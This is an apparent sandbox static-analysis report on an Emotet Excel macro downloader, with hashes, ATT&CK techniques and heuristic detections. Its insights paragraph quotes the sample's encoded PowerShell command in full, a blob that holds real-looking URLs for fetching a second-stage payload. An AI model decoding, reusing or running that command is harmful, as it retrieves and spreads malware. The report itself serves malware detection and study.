Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 85f16808272efa84…

MALICIOUS

Office (OLE) / .XLSX

151.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: 3ff90fbc16da998b9037b876ae974d17 SHA-1: 8417739677851007e9376b992bf7e86a33c00b4c SHA-256: 85f16808272efa84be5ec5a56b3c0fc9abdc4b5899c8996973ba2c710ea06880
280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1105 Ingress Tool Transfer

The critical ClamAV detection and high-severity heuristics for VBA macros, CreateObject calls, and Workbook_Open auto-execution strongly indicate malicious intent. The embedded VBA script contains obfuscated PowerShell commands that reconstruct multiple URLs and a batch file path. Specifically, it constructs the PowerShell command: 'hell -e JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwAHMAOgAvAC8AcwB0AG8AcgBlAC4AdQB4AGQAcwB1AG0AbQBpAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFYAZgBnAEIAUwBRAGEANwBaAC8ALABoAHQAdABwAHMAOgAvAC8AZwBsAG8AdwByAGUAbgB0AGEAbABsAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGYAMQBlAHoAZQBBAEsARwBUAG4AUwA2AEkALwAsAGgAdAB0AHAAOgAvAC8AYwBhAG4AZABpAHMAZQAuAGIAaQBtAG4AdABlAHIAYQBjAHQAaQBWAGUAcgBvAHUAcAAuAGMAbwBtAC8AMQBnADkANABuAGcAbwAvADIAbgA3AGwASgBvAFAAdQBQAEQARQBhAG4AUABjAFgALwAsAGgAdAB0AHAAOgAvAC8AYgBhAGMAaABpAGwAbABlAHIAYQB0AG8AcABvAHIAYwBpAGMAbABvAHMALgBvAHIAZwAv'. This PowerShell command is designed to download and execute a second-stage payload from one of the listed URLs, and also references a local batch file 'c:\programdata\jledshf.bat'. The presence of 'Wscript.Shell' and the creation of executable files point to a downloader functionality, consistent with the Emotet family.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetExcel02222-9938901-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02222-9938901-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 12041 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

Open this report in the interactive analyzer, or submit your own file for analysis.